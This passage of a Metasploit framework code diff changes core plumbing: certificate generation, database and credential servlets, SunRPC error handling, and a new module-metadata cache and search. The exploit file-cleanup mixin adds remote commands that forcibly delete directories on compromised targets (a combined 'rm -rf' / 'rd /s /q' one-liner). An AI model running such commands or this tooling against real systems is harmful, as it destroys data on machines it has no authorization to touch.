if ekuse and !ekuse.empty?
|
||||
cert.extensions << ef.create_extension("extendedKeyUsage", ekuse)
|
||||
end
|
||||
|
||||
cert.sign(key, OpenSSL::Digest::SHA256.new)
|
||||
|
||||
[key, cert, nil]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -31,16 +31,14 @@ module Msf::DBManager::Host
|
|||
deleted = []
|
||||
hosts.each do |host|
|
||||
begin
|
||||
host.destroy
|
||||
deleted << host.address.to_s
|
||||
deleted << host.destroy
|
||||
rescue # refs suck
|
||||
elog("Forcibly deleting #{host.address}")
|
||||
host.delete
|
||||
deleted << host.address.to_s
|
||||
deleted << host.delete
|
||||
end
|
||||
end
|
||||
|
||||
return { deleted: deleted }
|
||||
return deleted
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -18,12 +18,12 @@ module CredentialServlet
|
|||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db().creds(opts)
|
||||
includes = [:logins, :public, :private, :origin, :realm]
|
||||
includes = [:logins, :public, :private, :realm]
|
||||
# Need to append the human attribute into the private sub-object before converting to json
|
||||
# This is normally pulled from a class method from the MetasploitCredential class
|
||||
response = []
|
||||
data.each do |cred|
|
||||
json = cred.as_json(include: includes).merge('human' => cred.private.class.model_name.human)
|
||||
json = cred.as_json(include: includes).merge('private_class' => cred.private.class.to_s)
|
||||
response << json
|
||||
end
|
||||
set_json_response(response)
|
||||
|
|
|
@ -672,14 +672,14 @@ class Exploit < Msf::Module
|
|||
# Returns true if the exploit has an aggressive stance.
|
||||
#
|
||||
def aggressive?
|
||||
(stance == Stance::Aggressive)
|
||||
stance.include?(Stance::Aggressive)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns if the exploit has a passive stance.
|
||||
#
|
||||
def passive?
|
||||
(stance == Stance::Passive)
|
||||
stance.include?(Stance::Passive)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -6,10 +6,13 @@ module Exploit::FileDropper
|
|||
def initialize(info = {})
|
||||
super
|
||||
|
||||
@dropped_files = []
|
||||
@dropped_dirs = []
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting file cleanup'])
|
||||
], self.class)
|
||||
OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting cleanup'])
|
||||
])
|
||||
end
|
||||
|
||||
# Record file as needing to be cleaned up
|
||||
|
@ -21,16 +24,26 @@ module Exploit::FileDropper
|
|||
# exploiting).
|
||||
# @return [void]
|
||||
def register_files_for_cleanup(*files)
|
||||
@dropped_files ||= []
|
||||
@dropped_files += files
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Singular version
|
||||
alias register_file_for_cleanup register_files_for_cleanup
|
||||
# Record directory as needing to be cleaned up
|
||||
#
|
||||
# @param dirs [Array<String>] List of paths on the target that should
|
||||
# be deleted during cleanup. Each directory should be either a full
|
||||
# path or relative to the current working directory of the session
|
||||
# (not necessarily the same as the cwd of the server we're
|
||||
# exploiting).
|
||||
# @return [void]
|
||||
def register_dirs_for_cleanup(*dirs)
|
||||
@dropped_dirs += dirs
|
||||
end
|
||||
|
||||
# When a new session is created, attempt to delete any files that the
|
||||
# Singular versions
|
||||
alias register_file_for_cleanup register_files_for_cleanup
|
||||
alias register_dir_for_cleanup register_dirs_for_cleanup
|
||||
|
||||
# When a new session is created, attempt to delete any paths that the
|
||||
# exploit created.
|
||||
#
|
||||
# @param (see Msf::Exploit#on_new_session)
|
||||
|
@ -42,70 +55,86 @@ module Exploit::FileDropper
|
|||
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
|
||||
end
|
||||
|
||||
unless @dropped_files && @dropped_files.length > 0
|
||||
if @dropped_files.empty? && @dropped_dirs.empty?
|
||||
return
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
exists_before = file_dropper_file_exist?(session, file)
|
||||
if file_dropper_delete(session, file)
|
||||
exists_before = file_dropper_exist?(session, file)
|
||||
if file_dropper_delete_file(session, file)
|
||||
file_dropper_deleted?(session, file, exists_before)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
@dropped_dirs.delete_if do |dir|
|
||||
exists_before = file_dropper_exist?(session, dir)
|
||||
if file_dropper_delete_dir(session, dir)
|
||||
file_dropper_deleted?(session, dir, exists_before)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# While the exploit cleanup do a last attempt to delete any files created
|
||||
# if there is a file_rm method available. Warn the user if any files were
|
||||
# While the exploit cleanup do a last attempt to delete any paths created
|
||||
# if there is a file_rm/dir_rm method available. Warn the user if any paths were
|
||||
# not cleaned up.
|
||||
#
|
||||
# @see Msf::Exploit#cleanup
|
||||
# @see Msf::Post::File#file_rm
|
||||
# @see Msf::Post::File#dir_rm
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# Check if file_rm method is available (local exploit, mixin support, module support)
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
if @dropped_files.empty? && @dropped_dirs.empty?
|
||||
return
|
||||
end
|
||||
|
||||
if respond_to?(:file_rm)
|
||||
delay = datastore['FileDropperDelay']
|
||||
if delay
|
||||
print_status("Waiting #{delay}s before file cleanup...")
|
||||
select(nil,nil,nil,delay)
|
||||
end
|
||||
delay = datastore['FileDropperDelay']
|
||||
if delay
|
||||
print_status("Waiting #{delay}s before cleanup...")
|
||||
sleep(delay)
|
||||
end
|
||||
|
||||
# Check if file_rm method is available (local exploit, mixin support, module support)
|
||||
if respond_to?(:file_rm)
|
||||
@dropped_files.delete_if do |file|
|
||||
begin
|
||||
file_rm(file)
|
||||
# We don't know for sure if file has been deleted, so always warn about it to the user
|
||||
false
|
||||
rescue ::Exception => e
|
||||
vprint_error("Failed to delete #{file}: #{e}")
|
||||
elog("Failed to delete #{file}: #{e.class}: #{e}")
|
||||
elog("Call stack:\n#{e.backtrace.join("\n")}")
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@dropped_files.each do |f|
|
||||
print_warning("This exploit may require manual cleanup of '#{f}' on the target")
|
||||
# Check if dir_rm method is available (local exploit, mixin support, module support)
|
||||
if respond_to?(:dir_rm)
|
||||
@dropped_dirs.delete_if do |dir|
|
||||
begin
|
||||
dir_rm(dir)
|
||||
rescue ::Exception => e
|
||||
vprint_error("Failed to delete #{dir}: #{e}")
|
||||
elog("Failed to delete #{dir}: #{e.class}: #{e}")
|
||||
elog("Call stack:\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# We don't know for sure if paths have been deleted, so always warn about it to the user
|
||||
(@dropped_files + @dropped_dirs).each do |p|
|
||||
print_warning("This exploit may require manual cleanup of '#{p}' on the target")
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# See if +path+ exists on the remote system and is a regular file
|
||||
# See if +path+ exists on the remote system and is a regular file or directory
|
||||
#
|
||||
# @param path [String] Remote filename to check
|
||||
# @return [Boolean] True if the file exists, otherwise false.
|
||||
def file_dropper_file_exist?(session, path)
|
||||
# @param path [String] Remote pathname to check
|
||||
# @return [Boolean] True if the path exists, otherwise false.
|
||||
def file_dropper_exist?(session, path)
|
||||
if session.platform == 'windows'
|
||||
normalized = file_dropper_win_file(path)
|
||||
normalized = file_dropper_win_path(path)
|
||||
else
|
||||
normalized = path
|
||||
end
|
||||
|
@ -113,7 +142,7 @@ module Exploit::FileDropper
|
|||
if session.type == 'meterpreter'
|
||||
stat = session.fs.file.stat(normalized) rescue nil
|
||||
return false unless stat
|
||||
stat.file?
|
||||
stat.file? || stat.directory?
|
||||
else
|
||||
if session.platform == 'windows'
|
||||
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )")
|
||||
|
@ -121,7 +150,7 @@ module Exploit::FileDropper
|
|||
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\\\\\" ( echo false ) ELSE ( echo true )")
|
||||
end
|
||||
else
|
||||
f = session.shell_command_token("test -f \"#{normalized}\" && echo true")
|
||||
f = session.shell_command_token("test -f \"#{normalized}\" -o -d \"#{normalized}\" && echo true")
|
||||
end
|
||||
|
||||
return false if f.nil? || f.empty?
|
||||
|
@ -134,8 +163,8 @@ module Exploit::FileDropper
|
|||
#
|
||||
# @param [String] file The file to delete
|
||||
# @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false.
|
||||
def file_dropper_delete(session, file)
|
||||
win_file = file_dropper_win_file(file)
|
||||
def file_dropper_delete_file(session, file)
|
||||
win_file = file_dropper_win_path(file)
|
||||
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
|
@ -167,29 +196,66 @@ module Exploit::FileDropper
|
|||
end
|
||||
end
|
||||
|
||||
# Checks if a file has been deleted by the current job
|
||||
# Sends a directory deletion command to the remote +session+
|
||||
#
|
||||
# @param [String] file The file to check
|
||||
# @return [Boolean] If the file has been deleted, otherwise false.
|
||||
def file_dropper_deleted?(session, file, exists_before)
|
||||
if exists_before && file_dropper_file_exist?(session, file)
|
||||
print_error("Unable to delete #{file}")
|
||||
false
|
||||
elsif exists_before
|
||||
print_good("Deleted #{file}")
|
||||
true
|
||||
# @param [String] dir The directory to delete
|
||||
# @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false.
|
||||
def file_dropper_delete_dir(session, dir)
|
||||
win_dir = file_dropper_win_path(dir)
|
||||
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
# Meterpreter should do this automatically as part of
|
||||
# fs.dir.rmdir(). Until that has been implemented, remove the
|
||||
# read-only flag with a command.
|
||||
if session.platform == 'windows'
|
||||
session.shell_command_token(%Q|attrib.exe -r #{win_dir}|)
|
||||
end
|
||||
session.fs.dir.rmdir(dir)
|
||||
true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
false
|
||||
end
|
||||
else
|
||||
print_warning("Tried to delete #{file}, unknown result")
|
||||
win_cmds = [
|
||||
%Q|attrib.exe -r "#{win_dir}"|,
|
||||
%Q|rd.exe /s /q "#{win_dir}"|
|
||||
]
|
||||
# We need to be platform-independent here. Since we can't be
|
||||
# certain that {#target} is accurate because exploits with
|
||||
# automatic targets frequently change it, we just go ahead and
|
||||
# run both a windows and a unix command in the same line. One
|
||||
# of them will definitely fail and the other will probably
|
||||
# succeed. Doing it this way saves us an extra round-trip.
|
||||
# Trick shared by @mihi42
|
||||
session.shell_command_token("rm -rf \"#{dir}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null")
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
# Converts a file path to use the windows separator '\'
|
||||
# Checks if a path has been deleted by the current job
|
||||
#
|
||||
# @param [String] file The file path to convert
|
||||
# @return [String] The file path converted
|
||||
def file_dropper_win_file(file)
|
||||
file.gsub('/', '\\\\')
|
||||
# @param [String] path The path to check
|
||||
# @return [Boolean] If the path has been deleted, otherwise false.
|
||||
def file_dropper_deleted?(session, path, exists_before)
|
||||
if exists_before && file_dropper_exist?(session, path)
|
||||
print_error("Unable to delete #{path}")
|
||||
false
|
||||
elsif exists_before
|
||||
print_good("Deleted #{path}")
|
||||
true
|
||||
else
|
||||
print_warning("Tried to delete #{path}, unknown result")
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
# Converts a path to use the windows separator '\'
|
||||
#
|
||||
# @param [String] path The path to convert
|
||||
# @return [String] The path converted
|
||||
def file_dropper_win_path(path)
|
||||
path.gsub('/', '\\\\')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -36,7 +36,7 @@ module Exploit::Remote::SunRPC
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5])
|
||||
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])
|
||||
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
|
||||
], Msf::Exploit::Remote::SunRPC)
|
||||
|
||||
|
@ -70,7 +70,12 @@ module Exploit::Remote::SunRPC
|
|||
ret = rpcobj.create
|
||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
|
||||
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
||||
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
||||
|
@ -86,7 +91,12 @@ module Exploit::Remote::SunRPC
|
|||
ret = rpcobj.call(proc, buf, timeout)
|
||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
||||
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
|
||||
|
@ -127,7 +137,13 @@ module Exploit::Remote::SunRPC
|
|||
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
|
||||
def portmap_qry()
|
||||
ret = portmap_req()
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
|
|
|
@ -61,6 +61,7 @@ class Framework
|
|||
require 'metasploit/framework/data_service/proxy/core'
|
||||
require 'msf/core/event_dispatcher'
|
||||
require 'rex/json_hash_file'
|
||||
require 'msf/core/cert_provider'
|
||||
|
||||
#
|
||||
# Creates an instance of the framework context.
|
||||
|
@ -84,6 +85,9 @@ class Framework
|
|||
# Configure the thread factory
|
||||
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
|
||||
|
||||
# Configure the SSL certificate generator
|
||||
Rex::Socket::Ssl.cert_provider = Msf::Ssl::CertProvider
|
||||
|
||||
subscriber = FrameworkEventSubscriber.new(self)
|
||||
events.add_exploit_subscriber(subscriber)
|
||||
events.add_session_subscriber(subscriber)
|
||||
|
@ -229,24 +233,8 @@ class Framework
|
|||
}
|
||||
end
|
||||
|
||||
# TODO: Anything still using this should be ported to use metadata::cache search
|
||||
def search(match, logger: nil)
|
||||
# Check if the database is usable
|
||||
use_db = true
|
||||
if self.db and self.db.is_local?
|
||||
if !(self.db.migrated && self.db.modules_cached)
|
||||
logger.print_warning("Module database cache not built yet, using slow search") if logger
|
||||
use_db = false
|
||||
end
|
||||
else
|
||||
logger.print_warning("Database not connected, using slow search") if logger
|
||||
use_db = false
|
||||
end
|
||||
|
||||
# Used the database for search
|
||||
if use_db
|
||||
return self.db.search_modules(match)
|
||||
end
|
||||
|
||||
# Do an in-place search
|
||||
matches = []
|
||||
[ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset|
|
||||
|
|
|
@ -21,7 +21,7 @@ module Msf::Module::FullName
|
|||
#
|
||||
|
||||
def fullname
|
||||
type + '/' + refname
|
||||
"#{type}/#{refname}"
|
||||
end
|
||||
|
||||
def promptname
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
# Gems
|
||||
#
|
||||
require 'active_support/concern'
|
||||
require 'msf/core/modules/metadata/cache'
|
||||
|
||||
# Concerns the module cache maintained by the {Msf::ModuleManager}.
|
||||
module Msf::ModuleManager::Cache
|
||||
|
@ -98,7 +99,7 @@ module Msf::ModuleManager::Cache
|
|||
end
|
||||
|
||||
# @overload refresh_cache_from_module_files
|
||||
# Rebuilds database and in-memory cache for all modules.
|
||||
# Rebuilds module metadata store and in-memory cache for all modules.
|
||||
#
|
||||
# @return [void]
|
||||
# @overload refresh_cache_from_module_files(module_class_or_instance)
|
||||
|
@ -107,14 +108,21 @@ module Msf::ModuleManager::Cache
|
|||
# @param (see Msf::DBManager#update_module_details)
|
||||
# @return [void]
|
||||
def refresh_cache_from_module_files(module_class_or_instance = nil)
|
||||
if framework_migrated?
|
||||
if module_class_or_instance
|
||||
framework.db.update_module_details(module_class_or_instance)
|
||||
else
|
||||
framework.db.update_all_module_details
|
||||
end
|
||||
refresh_cache_from_database(self.module_paths)
|
||||
if module_class_or_instance
|
||||
Msf::Modules::Metadata::Cache.instance.refresh_metadata_instance(module_class_or_instance)
|
||||
else
|
||||
module_sets =
|
||||
[
|
||||
['exploit', @framework.exploits],
|
||||
['auxiliary', @framework.auxiliary],
|
||||
['post', @framework.post],
|
||||
['payload', @framework.payloads],
|
||||
['encoder', @framework.encoders],
|
||||
['nop', @framework.nops]
|
||||
]
|
||||
Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets)
|
||||
end
|
||||
refresh_cache_from_database(self.module_paths)
|
||||
end
|
||||
|
||||
# Refreshes the in-memory cache from the database cache.
|
||||
|
@ -126,25 +134,11 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
protected
|
||||
|
||||
# Returns whether the framework migrations have been run already.
|
||||
#
|
||||
# @return [true] if migrations have been run
|
||||
# @return [false] otherwise
|
||||
def framework_migrated?
|
||||
if (framework.db)
|
||||
if (framework.db.is_local?)
|
||||
return framework.db.migrated
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# @!attribute [rw] module_info_by_path
|
||||
# @return (see #module_info_by_path_from_database!)
|
||||
# @return (see #module_info_by_path_from_store!)
|
||||
attr_accessor :module_info_by_path
|
||||
|
||||
# Return a module info from Mdm::Module::Details in database.
|
||||
# Return a module info from Msf::Modules::Metadata::Obj.
|
||||
#
|
||||
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
|
||||
#
|
||||
|
@ -154,40 +148,36 @@ module Msf::ModuleManager::Cache
|
|||
def module_info_by_path_from_database!(allowed_paths=[""])
|
||||
self.module_info_by_path = {}
|
||||
|
||||
if framework_migrated?
|
||||
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||
allowed_paths = allowed_paths.map{|x| x + "/"}
|
||||
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||
# handle the growing number of modules better than all.each.
|
||||
Mdm::Module::Detail.find_each do |module_detail|
|
||||
path = module_detail.file
|
||||
type = module_detail.mtype
|
||||
reference_name = module_detail.refname
|
||||
metadata = Msf::Modules::Metadata::Cache.instance.get_metadata
|
||||
metadata.each do |module_metadata|
|
||||
path = module_metadata.path
|
||||
type = module_metadata.type
|
||||
reference_name = module_metadata.ref_name
|
||||
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_detail.mtime
|
||||
}
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_metadata.mod_time
|
||||
}
|
||||
|
||||
typed_module_set = module_set(type)
|
||||
typed_module_set = module_set(type)
|
||||
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
if typed_module_set
|
||||
unless typed_module_set.has_key?(reference_name)
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules'
|
||||
|
||||
# Namespace for module metadata related data and operations
|
||||
module Msf::Modules::Metadata
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
require 'singleton'
|
||||
require 'msf/events'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
require 'msf/core/constants'
|
||||
require 'msf/core/modules/metadata'
|
||||
require 'msf/core/modules/metadata/obj'
|
||||
require 'msf/core/modules/metadata/search'
|
||||
require 'msf/core/modules/metadata/store'
|
||||
|
||||
#
|
||||
# Core service class that provides storage of module metadata as well as operations on the metadata.
|
||||
# Note that operations on this metadata are included as separate modules.
|
||||
#
|
||||
module Msf
|
||||
module Modules
|
||||
module Metadata
|
||||
|
||||
class Cache
|
||||
include Singleton
|
||||
include Msf::Modules::Metadata::Search
|
||||
include Msf::Modules::Metadata::Store
|
||||
|
||||
#
|
||||
# Refreshes cached module metadata as well as updating the store
|
||||
#
|
||||
def refresh_metadata_instance(module_instance)
|
||||
refresh_metadata_instance_internal(module_instance)
|
||||
update_store
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module data cache, but first ensures all the metadata is loaded
|
||||
#
|
||||
def get_metadata
|
||||
wait_for_load
|
||||
@module_metadata_cache.values
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for modules loaded that are not a part of the cache and updates the underlying store
|
||||
# if there are changes.
|
||||
#
|
||||
def refresh_metadata(module_sets)
|
||||
unchanged_module_references = get_unchanged_module_references
|
||||
has_changes = false
|
||||
module_sets.each do |mt|
|
||||
unchanged_reference_name_set = unchanged_module_references[mt[0]]
|
||||
|
||||
mt[1].keys.sort.each do |mn|
|
||||
next if unchanged_reference_name_set.include? mn
|
||||
module_instance = mt[1].create(mn)
|
||||
next if not module_instance
|
||||
begin
|
||||
refresh_metadata_instance_internal(module_instance)
|
||||
has_changes = true
|
||||
rescue Exception => e
|
||||
elog("Error updating module details for #{module_instance.fullname}: #{$!.class} #{$!} : #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
update_store if has_changes
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash(type->set) which references modules that have not changed.
|
||||
#
|
||||
def get_unchanged_module_references
|
||||
skip_reference_name_set_by_module_type = Hash.new { |hash, module_type|
|
||||
hash[module_type] = Set.new
|
||||
}
|
||||
|
||||
@module_metadata_cache.each_value do |module_metadata|
|
||||
|
||||
unless module_metadata.path and ::File.exist?(module_metadata.path)
|
||||
next
|
||||
end
|
||||
|
||||
if ::File.mtime(module_metadata.path).to_i != module_metadata.mod_time.to_i
|
||||
next
|
||||
end
|
||||
|
||||
skip_reference_name_set = skip_reference_name_set_by_module_type[module_metadata.type]
|
||||
skip_reference_name_set.add(module_metadata.ref_name)
|
||||
end
|
||||
|
||||
return skip_reference_name_set_by_module_type
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def wait_for_load
|
||||
@load_thread.join unless @store_loaded
|
||||
end
|
||||
|
||||
def refresh_metadata_instance_internal(module_instance)
|
||||
metadata_obj = Obj.new(module_instance)
|
||||
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj
|
||||
end
|
||||
|
||||
def get_cache_key(module_instance)
|
||||
key = ''
|
||||
key << (module_instance.type.nil? ? '' : module_instance.type)
|
||||
key << '_'
|
||||
key << module_instance.refname
|
||||
return key
|
||||
end
|
||||
|
||||
def initialize
|
||||
@module_metadata_cache = {}
|
||||
@store_loaded = false
|
||||
@console = Rex::Ui::Text::Output::Stdio.new
|
||||
@load_thread = Thread.new {
|
||||
init_store
|
||||
@store_loaded = true
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Simple object for storing a modules metadata.
|
||||
#
|
||||
module Msf
|
||||
module Modules
|
||||
module Metadata
|
||||
|
||||
class Obj
|
||||
attr_reader :name
|
||||
attr_reader :full_name
|
||||
attr_reader :rank
|
||||
attr_reader :disclosure_date
|
||||
attr_reader :type
|
||||
attr_reader :author
|
||||
attr_reader :description
|
||||
attr_reader :references
|
||||
attr_reader :is_server
|
||||
attr_reader :is_client
|
||||
attr_reader :platform
|
||||
attr_reader :arch
|
||||
attr_reader :rport
|
||||
attr_reader :targets
|
||||
attr_reader :mod_time
|
||||
attr_reader :is_install_path
|
||||
attr_reader :ref_name
|
||||
|
||||
def initialize(module_instance)
|
||||
@name = module_instance.name
|
||||
@full_name = module_instance.fullname
|
||||
@disclosure_date = module_instance.disclosure_date
|
||||
@rank = module_instance.rank.to_i
|
||||
@type = module_instance.type
|
||||
@description = module_instance.description.to_s.strip
|
||||
@author = module_instance.author.map{|x| x.to_s}
|
||||
@references = module_instance.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
|
||||
@is_server = (module_instance.respond_to?(:stance) and module_instance.stance == "aggressive")
|
||||
@is_client = (module_instance.respond_to?(:stance) and module_instance.stance == "passive")
|
||||
@platform = module_instance.platform_to_s
|
||||
@arch = module_instance.arch_to_s
|
||||
@rport = module_instance.datastore['RPORT'].to_s
|
||||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
install_path = Msf::Config.install_root.to_s
|
||||
if (@path.to_s.include? (install_path))
|
||||
@path = @path.sub(install_path, '')
|
||||
@is_install_path = true
|
||||
end
|
||||
|
||||
if module_instance.respond_to?(:targets) and module_instance.targets
|
||||
@targets = module_instance.targets.map{|x| x.name}
|
||||
end
|
||||
end
|
||||
|
||||
def update_mod_time(mod_time)
|
||||
@mod_time = mod_time
|
||||
end
|
||||
|
||||
def path
|
||||
if @is_install_path
|
||||
return ::File.join(Msf::Config.install_root, @path)
|
||||
end
|
||||
|
||||
@path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,120 @@
|
|||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Provides search operations on the module metadata cache.
|
||||
#
|
||||
module Msf::Modules::Metadata::Search
|
||||
#
|
||||
# Searches the module metadata using the passed search string.
|
||||
#
|
||||
def find(search_string)
|
||||
search_results = []
|
||||
|
||||
get_metadata.each { |module_metadata|
|
||||
if is_match(search_string, module_metadata)
|
||||
search_results << module_metadata
|
||||
end
|
||||
}
|
||||
|
||||
return search_results
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def is_match(search_string, module_metadata)
|
||||
return false if not search_string
|
||||
|
||||
search_string += ' '
|
||||
|
||||
# Split search terms by space, but allow quoted strings
|
||||
terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten
|
||||
terms.delete('')
|
||||
|
||||
# All terms are either included or excluded
|
||||
res = {}
|
||||
|
||||
terms.each do |t|
|
||||
f,v = t.split(":", 2)
|
||||
if not v
|
||||
v = f
|
||||
f = 'text'
|
||||
end
|
||||
next if v.length == 0
|
||||
f.downcase!
|
||||
v.downcase!
|
||||
res[f] ||=[ [], [] ]
|
||||
if v[0,1] == "-"
|
||||
next if v.length == 1
|
||||
res[f][1] << v[1,v.length-1]
|
||||
else
|
||||
res[f][0] << v
|
||||
end
|
||||
end
|
||||
|
||||
k = res
|
||||
|
||||
[0,1].each do |mode|
|
||||
match = false
|
||||
k.keys.each do |t|
|
||||
next if k[t][mode].length == 0
|
||||
|
||||
k[t][mode].each do |w|
|
||||
# Reset the match flag for each keyword for inclusive search
|
||||
match = false if mode == 0
|
||||
|
||||
# Convert into a case-insensitive regex
|
||||
r = Regexp.new(Regexp.escape(w), true)
|
||||
|
||||
case t
|
||||
when 'text'
|
||||
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
|
||||
|
||||
if module_metadata.targets
|
||||
terms = terms + module_metadata.targets
|
||||
end
|
||||
